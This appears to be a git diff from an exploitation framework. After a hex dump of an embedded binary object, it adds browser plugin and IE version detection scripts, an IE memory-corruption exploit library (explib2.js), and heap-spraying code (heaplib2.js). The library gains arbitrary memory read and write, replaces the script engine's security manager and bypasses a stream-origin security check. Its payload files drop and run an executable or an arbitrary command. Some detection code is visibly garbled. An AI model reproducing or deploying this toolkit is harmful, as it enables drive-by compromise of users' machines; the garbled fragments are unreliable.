+bb4913f3cd010c000000000100000000000003005000520049004e005400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000 +000000000000000002000000ae1000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000 +0000000000000000000000000000060000000000000003004f00430058004e0041004d00450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000 +000000000000000000000000010000001a000000000000000800560aca0200000100090000035308000006008806000000008806000026060f00060d574d464301000000000001007ed80000000001000000e40c000000000000e40c0000010000006c0000000000000000000000630000001a0000000000000000000000 +560a0000ca02000020454d4600000100e40c000038000000070000000000000000000000000000000004000000030000690100000f0100000000000000000000000000001c830500552204000c0000001000000000000000000000000a000000100000000000000000000000180000000c00000000000000190000000c00 +0000ffffff00260000001c0000000100000000000000000000000000000000000000250000000c0000000100000027000000180000000200000000000000ffffff0000000000250000000c00000002000000520000007001000003000000f1ffffff00000000000000000000000090010000000000000000000043006100 +6c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0550745f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c18 +5f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000050000004e0000007f133f1320340000cad55b27a9705f76002de575009b5b27fa0366000000000003000000050000004e0000001000000054000000 +0000df0503000000050000005100000015000000d57b5f76f59a5b27de094e00000000000000000000000000000000007c664e77106a24009d3948777c664e776476000800000000250000000c000000030000002b000000180000000000000000000000630000001a0000001e0000001800000000000000000000006400 +00001b000000520000007001000004000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000000000000000000000000000000000000000000032002e0030005c0030005c007700 +69006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e36264760000 +0000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000647600080000000025000000 +0c00000004000000520000007001000005000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000000000000000000000000000000000000000000000000000000000000000000032002e00 +30005c0030005c00770069006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76 +f06a2400e362647600000000d46824008d885f7640692400f09f320010a032009cc724000bb44f7720a03200d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a17737122125c0c7240028c9240020c92400000000000400000000000000fcc7240064760008000000002500 +00000c00000005000000250000000c00000003000000280000000c00000004000000280000000c00000005000000520000007001000005000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600 +0000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e +4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400 +e0638c7780f08f004600000000000000fa03660000000000000000006476000800000000250000000c00000005000000520000007001000004000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900 +660000000000000000000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a2400 +0000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76f06a2400e362647600000000d46824008d885f76406924007842ae069842ae069cc724000bb44f77a842ae06d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a1773712 +2125c0c7240028c9240020c92400000000000400000000000000fcc724006476000800000000250000000c00000004000000250000000c000000030000005400000054000000000000000400000063000000150000000100000000040d4255250d42f7ffffff04000000010000004c000000000000000000000000000000 +ffffffffffffffff500000002000000075000000160000000c00000001000000120000000c000000010000001b000000100000000000000000000000160000000c00000000000000250000000c0000000400000054000000540000000000000000000000ffffffffffffffff0100000000040d4255250d42f7ffffff0400 +0000010000004c000000000000000000000000000000ffffffffffffffff500000000700000008000000520000007001000006000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900660000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000 +00000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000000061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000 +985e4877a87bad0600000000f400000030b7ea070000ea076476000800000000250000000c00000006000000250000000c00000004000000280000000c00000006000000250000000c0000000300000054000000a8000000000000000400000063000000150000000100000000040d4255250d42ffffffff040000000f00 +00004c000000000000000000000000000000ffffffffffffffff6c00000049006d0061006700650043006f006d0062006f00430074006c00200031000000040000000c00000007000000070000000800000008000000080000000c000000080000000800000008000000050000000400000003000000070000001b000000 +100000000000000000000000160000000c00000000000000120000000c00000002000000280000000c00000005000000280000000c000000040000004b000000100000000000000005000000250000000c0000000d000080250000000c00000000000080280000000c00000002000000250000000c000000070000802800 +00000c00000001000000190000000c000000ffffff00180000000c000000000000000a0000001000000000000000000000000c000000100000000000000000000000090000001000000001000000010000000b0000001000000001000000010000000e000000140000000000000010000000140000000400000003010800 +050000000b0200000000050000000c0214004b0005000000090200000000050000000102ffffff0008000000fa0200000000000000000000040000002d01000007000000fc020000ffffff000000040000002d0101001c000000fb02f1ff0000000000009001000000000000000043616c696272690001003f3f0b003f24 +003ff4003f3f3f3f0000f4003f3f3f3f040000002d010200070000001b041b00640000000000040000002c0100000700000016041b006400000000001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d0103001c00 +0000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020004000000f001030004000000f00104001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e732053 +65726966000000000000000000000000040000002d0103001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020009000000320a0400f7ff0100000020007500040000002e01010004000000 +0201010005000000140200000000040000002e010000040000002d01040009000000320a0400f7ff01000000070008001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010500040000002d01040004000000f001 +0500040000002d0102001e000000320a0400ffff0f000000496d616765436f6d626f43746c20310004000c00070007000800080008000c000800080008000500040003000700040000002e010000040000000201020004000000f001030004000000f0010400040000002c0100001c000000fb021000070000000000bc02 +000000000102022253797374656d003f00003f3f3f3f3f3f3f3f3f3f0800000001003f3f3f3f3f00040000002d01030007000000fc020000ffffff000000040000002d01040004000000f001010008000000fa0200000000000000000000040000002d01010004000000f0010000050000000102ffffff00050000000902 +000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fefffffffeffffff03000000feffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00920300040000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000000049006d0061006700650043006f006d0062006f0031000000000000000000000000000000000000000000000000000000000000000000000000000000000000002143341208000000560a0000ca0200000324a055 +0000060044000000000000000000000001efcdab0000050000000000060000000800008005000080b0303a0310000000070049006d0061006700650043006f006d0062006f00430074006c0020003100000000001fdeecbd0100050040cf2400000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000043006f006e00740065006e007400 +730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000020000007400000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000 +050000000d0000004d45544146494c455049435400560a0000d7faffff8a0200000800560a29050000 +0100090000034101000004001100000000001100000026060f001800ffffffff00001000b004000030fdffffcc0800004c0100000900000026060f000800ffffffff020000001000000026060f001600ffffffff04000e00544e50500700a8623d50390586000a00000026060f000a00544e505000000200f00309000000 +26060f000800ffffffff030000000f00000026060f001400544e505004000c00010000000100000000000000050000000b0230fdb004050000000c021c041c0409000000fa02050000000000ffffff002200040000002d01000007000000fc020100000000000000040000002d01010009000000fa020600080000000000 +00022200040000002d01020007000000fc020000ffffff020000040000002d010300050000000902ffffff020400000004010d00070000001b044c01cc0830fdb004050000000902ff003302040000002d010000040000002d01010004000000f001020004000000f0010300030000001e000700000016043400b4074efe +ce0509000000fa02060040000000ff0033022200040000002d0102000500000014024efece050500000013022c00ac07040000002d010000040000002d01010004000000f0010200040000002701ffff040000002d010000040000002d010100030000001e000700000016043400b4074efece0509000000fa0206004000 +0000ff0033022200040000002d0102000500000014024efeac070500000013022c00ce05040000002d010000040000002d01010004000000f0010200040000002701ffff0f00000026060f001400544e505004000c000000000000000000000000000900000026060f000800ffffffff01000000040000002d0100000400 +00002d010100030000000000}}}}}}}}}}}}}}}}}}}}}}} \ No newline at end of file diff --git a/data/js/detect/misc_addons.js b/data/js/detect/misc_addons.js index 2deaed1252..fe0ba675cc 100644 --- a/data/js/detect/misc_addons.js +++ b/data/js/detect/misc_addons.js @@ -46,6 +46,53 @@ window.misc_addons_detect.hasSilverlight = function () { return found; } +/** + * Returns the Adobe Flash version +**/ +window.misc_addons_detect.getFlashVersion = function () { + var foundVersion = null; + + // + // Gets the Flash version by using the GetVariable function via ActiveX + // + try { + var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString(); + foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.') + } catch (e) {} + + // + // This should work fine for most non-IE browsers + // + if (foundVersion == null) { + var mimes = window.navigator.mimeTypes; + for (var i=0; i 0) { + ua_version = "9.0"; + } + } + } + + // IE8 detection straight from IEBlog. Thank you Microsoft. + if (!ua_version) { + try { + ua_version = "8.0"; + document.documentElement.style.display = "table-cell"; + } catch(e) { + // This executes in IE7, + // but not IE8, regardless of mode + ua_version = "7.0"; + } } } else if (document.compatMode) { ua_version = "6.0"; diff --git a/data/js/memory/explib2/lib/explib2.js b/data/js/memory/explib2/lib/explib2.js new file mode 100644 index 0000000000..434b36cf4d --- /dev/null +++ b/data/js/memory/explib2/lib/explib2.js @@ -0,0 +1,426 @@ + + +ExpLib = (function() { + + function ExpLib( num_arrays, arr_size, base, payload ) { + this.arr1 = null; + this.arr2 = null; + this.base = base; + this.arr_size = arr_size; + this.arr_arr = null; + // Allows to control the contents of the sprayed memory. + // Have into account some array positions will be corrupted + // while leaking and modifying things. + this.arr_contents = []; + + this.payload = payload; + this.modules = {} + this.getproc = null; + this.loadlibrary = null; + + // Offset to the Origin URL in the Stream, modifying it + // allows to bypass msado15.SecurityCheck(), allowing + // for example to write stream contents to filesystem. + this.stream_origin = 0x44; + } + + ExpLib.prototype.resolveAPI = function( modulename, procname ) { + var module = this.resolveModule( modulename ); + + return this.callAPI( this.getproc, module, this.allocateString(procname) ); + } + + ExpLib.prototype.resolveModule = function( modulename ) { + if ( this.modules[modulename] ) + return this.modules[modulename]; + + var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) ); + this.modules[modulename] = module; + return module; + } + + ExpLib.prototype.spray = function() { + this.arr_arr = new Array( num_arrays ); + + var decl = "["; + + for ( var i = 0; i < this.arr_size - 1; ++ i ) { + decl += '0,'; + } + + decl += '0'; + decl += ']'; + + for ( var i = 0; i < num_arrays; ++ i ) { + this.arr_arr[i] = eval(decl); + for(var j = 0; j < this.arr_contents.length; j++) { + this.arr_arr[i][j] = this.arr_contents[j]; + } + } + + } + + // Should be used before calling spray() + ExpLib.prototype.setArrContents = function(contents) { + for(var i = 0; i < this.arr_size && i < contents.length; i++) { + this.arr_contents[i] = contents[i]; + } + } + + ExpLib.prototype.setValue = function(i1, i2, v) { + this.arr_arr[i1][i2] = v; + } + + + ExpLib.prototype.setValueByAddr = function(index, addr, v) { + this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v; + } + + ExpLib.prototype.read32 = function(addr) { + if ( addr % 4 ) { + // error + } + + if ( addr >= this.arr2_member_base ) { + return this.arr2[(addr - this.arr2_member_base)/4]; + } else { + return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4] + } + } + + ExpLib.prototype.write32 = function(addr, value) { + if ( addr % 4 ) { + // error + } + + if ( value >= 0x80000000 ) + value = -(0x100000000 - value); + + //alert(((addr - this.arr2_member_base)/4).toString(16)); + if ( addr >= this.arr2_member_base ) { + this.arr2[(addr - this.arr2_member_base)/4] = value; + } else { + this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value; + } + } + + ExpLib.prototype.read8 = function(addr) { + var value = this.read32( addr & 0xfffffffc ); + switch ( addr % 4 ) { + case 0: return (value & 0xff); + case 1: return ((value >> 8) & 0xff); + case 2: return ((value >> 16) & 0xff); + case 3: return ((value >> 24) & 0xff); + } + + return 0; + } + + ExpLib.prototype.write8 = function(addr, value) { + var original_value = this.read32( addr & 0xfffffffc ); + var new_value; + + switch ( addr % 4 ) { + case 0: + new_value = (original_value & 0xffffff00) | (value & 0xff); + break; + + case 1: + new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8); + break; + case 2: + new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16); + break; + case 3: + new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24); + break; + } + + + this.write32( addr & 0xfffffffc, new_value ); + } + + + ExpLib.prototype.writeBytes = function(addr, bytes) { + for ( var i = 0; i + 3 < bytes.length; i += 4 ) { + var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) | + ((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24); + + this.write32( addr + i, value ); + } + + for ( ; i < bytes.length; ++ i ) { + this.write8( addr + i, bytes[i] ); + } + } + + ExpLib.prototype.writeString = function(addr, s) { + var bytes = []; + var i = 0; + for ( ; i < s.length; ++ i ) { + bytes[i] = s.charCodeAt(i); + } + + bytes[i] = 0; + + this.writeBytes( addr, bytes ); + } + + ExpLib.prototype.writeStringW = function(addr, s) { + var bytes = []; + var i = 0; + for ( ; i < s.length; ++i ) { + bytes[i * 2] = s.charCodeAt(i); + bytes[i * 2 + 1] = 0; + } + + bytes[s.length * 2] = 0; + bytes[s.length * 2 + 1] = 0; + + this.writeBytes( addr, bytes ); + } + + ExpLib.prototype.read16 = function(addr) { + if ( addr % 2 ) { + // error, not aligned + } + + var value = this.read32( addr & 0xfffffffc ); + switch ( addr % 4 ) { + case 0: return (value & 0xffff); + case 1: return ((value >> 8) & 0xffff); + case 2: return ((value >> 16) & 0xffff); + case 3: /*not supported*/ break; + } + + return 0; + } + + ExpLib.prototype.strequal = function(addr, s) { + for ( var i = 0; i < s.length; ++ i ) { + if ( this.read8(addr + i) != s.charCodeAt(i) ) + return false; + } + + return true; + } + + + ExpLib.prototype.getModuleBase = function(addr) { + + var cur_addr = addr; + + while ( cur_addr > 0 ) { + + if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) { + return cur_addr; + } + + cur_addr -= 0x10000; + } + + return 0; + } + + + + ExpLib.prototype.getModuleBaseFromIAT = function(base, name) { + var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 ); + var cur_table = import_table; + + while ( cur_table < import_table + 0x1000 ) { + + var name_addr = base + this.read32(cur_table + 12); + if ( this.strequal( name_addr, name ) ) { + var iat = base + this.read32(cur_table + 16); + var func = this.read32(iat); + while ( 0 == func ) { + iat += 4; + func = this.read32(iat); + } + + return this.getModuleBase( func & 0xFFFF0000 ); + + } + + cur_table += 20; + } + + return 0; + } + + ExpLib.prototype.getProcAddress = function(base, procname) { + var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 ); + var num_functions = this.read32( export_table + 20 ); + var addr_functions = base + this.read32( export_table + 28 ); + var addr_names = base + this.read32( export_table + 32 ); + var addr_ordinals = base + this.read32( export_table + 36 ); + + for ( var i = 0; i < num_functions; ++ i ) { + var name_addr = this.read32( addr_names + i * 4 ) + base; + if ( this.strequal( name_addr, procname ) ) { + var ordinal = this.read16( addr_ordinals + i * 2 ); + var result = this.read32( addr_functions + ordinal * 4 ) + base; + return result; + } + } + + return 0; + } + + ExpLib.prototype.searchBytes = function(pattern, start, end) { + + if ( start >= end || start + pattern.length > end ) + return 0; + + var pos = start; + while ( pos < end ) { + for ( var i = 0; i < pattern.length; ++ i ) { + if ( this.read8(pos + i) != pattern[i] ) + break; + } + + if ( i == pattern.length ) { + return pos; + } + + ++ pos; + } + + return 0; + } + + + ExpLib.prototype.getError = function(msg) { + return this.err_msg; + } + + ExpLib.prototype.setError = function(msg) { + this.err_msg = msg; + } + + ExpLib.prototype.setStreamOrigin = function(offset) { + this.stream_origin = offset; + } + + ExpLib.prototype.getStreamOrigin = function() { + return this.stream_origin; + } + + ExpLib.prototype.memcpy = function(dst, src, size) { + var i = 0; + for ( ; i < size - 4; i += 4 ) { + this.write32( dst + i, this.read32(src + i) ); + } + + for ( ; i < size; ++ i ) { + this.write8( dst + i, this.read8(src + i) ); + } + } + + ExpLib.prototype.go = function() { + + var i = 0; + + + + for ( ; i < this.arr_arr.length - 1; ++ i ) { + this.arr_arr[i][this.arr_size + 0x1c / 4] = 0; + + if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) { + this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff; + this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff; + + this.arr_arr[i + 1].length = 0x3fffffff; + + if ( this.arr_arr[i+1].length == 0x3fffffff ) { + break; + } + } + + } + + if ( i >= this.arr_arr.length - 1 ) { + this.setError( "Cannot find array with corrupt length!" ); + return false; + } + + this.arr1_idx = i; + this.arr2_idx = i + 1; + + this.arr1 = this.arr_arr[i]; + this.arr2 = this.arr_arr[i + 1]; + + this.arr2_base = this.base + 0x1000; + this.arr2_member_base = this.arr2_base + 0x20; + + var func_addr = this.leakAddress(ActiveXObject); + var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4); + + //alert(script_engine_addr.toString(16)); + + var original_securitymanager = this.read32( script_engine_addr + 0x21c ); + if ( !original_securitymanager ) { + // let security manager to be valid + try { + var WshShell = new ActiveXObject("WScript.shell"); + } catch (e) {} + + original_securitymanager = this.read32( script_engine_addr + 0x21c ); + } + + var original_securitymanager_vtable = this.read32(original_securitymanager); + var securitymanager_size = 0x28; + var fake_securitymanager = 0x1a1b2010; + var fake_securitymanager_vtable = fake_securitymanager + 0x28; + //alert(original_securitymanager.toString(16)); + + this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size ); + this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 ); + this.write32( fake_securitymanager, fake_securitymanager_vtable ); + this.write32(script_engine_addr + 0x21c, fake_securitymanager); + + var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 ); + var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104); + var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108); + + + this.write32( fake_securitymanager_vtable + 0x14, + this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */ + + this.write32( fake_securitymanager_vtable + 0x10, + this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */ + + this.payload.execute(this); + + + /* + * restore + */ + + this.write32( script_engine_addr + 0x21c, original_securitymanager ); + + return true; + + } + + ExpLib.prototype.leakAddress = function(obj) { + this.arr_arr[this.arr2_idx + 1][2] = obj; + return this.read32(this.arr2_member_base + 0x1008); + } + + ExpLib.prototype.switchStreamOrigin = function(stream) { + var obj = this.leakAddress(stream); + var stream_obj = this.read32(obj + 0x30); + //var url_addr = this.read32(stream_obj + 0x3c); + var url_addr = this.read32(stream_obj + this.stream_origin); + + /* + * bypass domain check + */ + this.writeStringW( url_addr, 'file:///C:/1.htm' ); + } + + return ExpLib; + +})(); diff --git a/data/js/memory/explib2/payload/drop_exec.js b/data/js/memory/explib2/payload/drop_exec.js new file mode 100644 index 0000000000..1bba3effce --- /dev/null +++ b/data/js/memory/explib2/payload/drop_exec.js @@ -0,0 +1,33 @@ +function payload_drop_exec(pe) { + + this.execute = function(explib) { + + var WshShell = new ActiveXObject("WScript.shell"); + var temp = WshShell.ExpandEnvironmentStrings("%TEMP%"); + var filename = temp + "\\a.exe"; + + var bStream = new ActiveXObject("ADODB.Stream"); + var txtStream = new ActiveXObject("ADODB.Stream"); + bStream.Type = 1; + txtStream.Type = 2; + + bStream.Open(); + txtStream.Open(); + + explib.switchStreamOrigin(txtStream); + + txtStream.WriteText(pe); + txtStream.Position = 2; + txtStream.CopyTo( bStream ); + txtStream.Close(); + + explib.switchStreamOrigin(bStream); + + bStream.SaveToFile(filename, 2); + bStream.Close(); + + oExec = WshShell.Exec(filename); + } + + return this; +} diff --git a/data/js/memory/explib2/payload/exec.js b/data/js/memory/explib2/payload/exec.js new file mode 100644 index 0000000000..704db247e6 --- /dev/null +++ b/data/js/memory/explib2/payload/exec.js @@ -0,0 +1,10 @@ +function payload_exec(cmd) { + + this.execute = function(explib) { + + var WshShell = new ActiveXObject("WScript.shell"); + var oExec = WshShell.Exec(cmd); + } + + return this; +} diff --git a/data/js/memory/heaplib2.js b/data/js/memory/heaplib2.js new file mode 100644 index 0000000000..1e2fecf1a0 --- /dev/null +++ b/data/js/memory/heaplib2.js @@ -0,0 +1,192 @@ +//heapLib2 namespace +function heapLib2() { } + +//These are attributes that will not actually create a bstr +//and directly use the back-end allocator, completely bypassing the cache +var global_attrs = ["title", "lang", "class"]; + +heapLib2.ie = function(element, maxAlloc) +{ + //128mb + this.maxAlloc = 0x8000000; + + //make sure that an HTML DOM element is passed + if(!element.nodeType || element.nodeType != 1) + throw "alloc.argument: element not valid"; + + this.element = element; + + if(maxAlloc) + this.maxAlloc = maxAlloc; + + //empty the cache + this.Oleaut32EmptyCache(); + this.Oleaut32FillCache(); + this.Oleaut32EmptyCache(); + +} + +heapLib2.ie.prototype.newelement = function(element) +{ + //make sure that an HTML DOM element is passed + if(!element.nodeType || element.nodeType != 1) + throw "alloc.argument: element not valid"; + + this.element = element; +} + +heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok) +{ + if(typeof(cache_ok)==='undefined') + cache_ok = false; + else + cache_ok = true; + + //make sure the attribute name is a string + if(typeof attr_name != "string") + throw "alloc.argument: attr_name is not a string"; + + //make sure that the attribute name is not already present in the html element + if(this.element.getAttribute(attr_name)) + throw "alloc.argument: element already contains attr_name: " + attr_name; + + //ensure the size is a number + if(typeof size != "number") + throw "alloc.argument: size is not a number: " + size; + + //make sure the size isn't one of the special values + if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000)) + throw "alloc.argument: size cannot be flushed from cache: " + size; + + if(size > this.maxAlloc) + throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; + + //the size must be at a 16-byte boundary this can be commented out but + //the allocations will be rounded to the nearest 16-byte boundary + if(size % 16 != 0) + throw "alloc.argument: size be a multiple of 16: " + size; + + //20-bytes will be added to the size + //<4-byte size><2-byte null> + size = ((size / 2) - 6); + + //May have to change this due to allocation side effects + var data = new Array(size).join(cache_ok ? "C" : "$"); + + var attr = document.createAttribute(attr_name); + this.element.setAttributeNode(attr); + this.element.setAttribute(attr_name, data); + +} + +//These items will allocate/free memory and should really +//only be used once per element. You can use a new element +//by calling the 'newelement' method above +heapLib2.ie.prototype.alloc_nobstr = function(val) +{ + //make sure the aval is a string + if(typeof val != "string") + throw "alloc.argument: val is not a string"; + + var size = (val.length * 2) + 6; + + if(size > this.maxAlloc) + throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; + + var i = 0; + var set_gattr = 0; + for(i = 0; i < global_attrs.length; i++) + { + curr_gattr = global_attrs[i]; + if(!this.element.getAttribute(curr_gattr)) + { + this.element.setAttribute(curr_gattr, ""); + this.element.setAttribute(curr_gattr, val); + set_gattr = 1; + break; + } + } + + if(set_gattr == 0) + throw "alloc_nobstr: all global attributes are assigned, try a new element"; +} + +//completely bypass the cache, useful for heap spraying (see heapLib2_test.html) +heapLib2.ie.prototype.sprayalloc = function(attr_name, str) +{ + //make sure the attribute name is a string + if(typeof attr_name != "string") + throw "alloc.argument: attr_name is not a string"; + + //make sure that the attribute name is not already present in the html element + if(this.element.getAttribute(attr_name)) + throw "alloc.argument: element already contains attr_name: " + attr_name; + + //ensure the size is a number + if(typeof str != "string") + throw "alloc.argument: str is not a string: " + typeof str; + + var size = (str.length * 2) + 6; + + //make sure the size isn't one of the special values + if(size <= 0x8000) + throw "alloc.argument: bigalloc must be greater than 0x8000: " + size; + + if(size > this.maxAlloc) + throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; + + var attr = document.createAttribute(attr_name); + this.element.setAttributeNode(attr); + this.element.setAttribute(attr_name, str); +} + +heapLib2.ie.prototype.free = function(attr_name, skip_flush) +{ + if(typeof(skip_flush)==='undefined') + skip_flush = false; + else + skip_flush = true; + + //make sure that an HTML DOM element is passed + if(!this.element.nodeType || this.element.nodeType != 1) + throw "alloc.argument: element not valid"; + + //make sure the attribute name is a string + if(typeof attr_name != "string") + throw "alloc.argument: attr_name is not a string"; + + //make sure that the attribute name is not already present in the html element + if(!this.element.getAttribute(attr_name)) + throw "alloc.argument: element does not contain attribute: " + attr_name; + + //make sure the cache is full so the chunk returns the general purpose heap + if(!skip_flush) + this.Oleaut32FillCache(); + + this.element.setAttribute(attr_name, null); + + if(!skip_flush) + this.Oleaut32EmptyCache() +} + +heapLib2.ie.prototype.Oleaut32FillCache = function() +{ + for(var i = 0; i < 6; i++) + { + this.free("cache0x20"+i, true); + this.free("cache0x40"+i, true); + this.free("cache0x100"+i, true); + this.free("cache0x8000"+i, true); + } +} + +heapLib2.ie.prototype.Oleaut32EmptyCache = function() +{ + for(var i = 0; i < 6; i++) + { + this.alloc("cache0x20"+i, 0x20, true); + this.alloc("cache0x40"+i, 0x40, true); + this.alloc("cache0x100"+i, 0x100, true); + this.alloc("cache0x8000"+i, 0x8000, true); + } +} \ No newline at end of file diff --git a/data/js/network/ajax_post.js b/data/js/network/ajax_post.js index 4e6729acfa..91f6b47a1a 100644 --- a/data/js/network/ajax_post.js +++ b/data/js/network/ajax_post.js @@ -1,10 +1,18 @@ -function postInfo(path, data) { +function postInfo(path, data, cb) { var xmlHttp = new XMLHttpRequest(); if 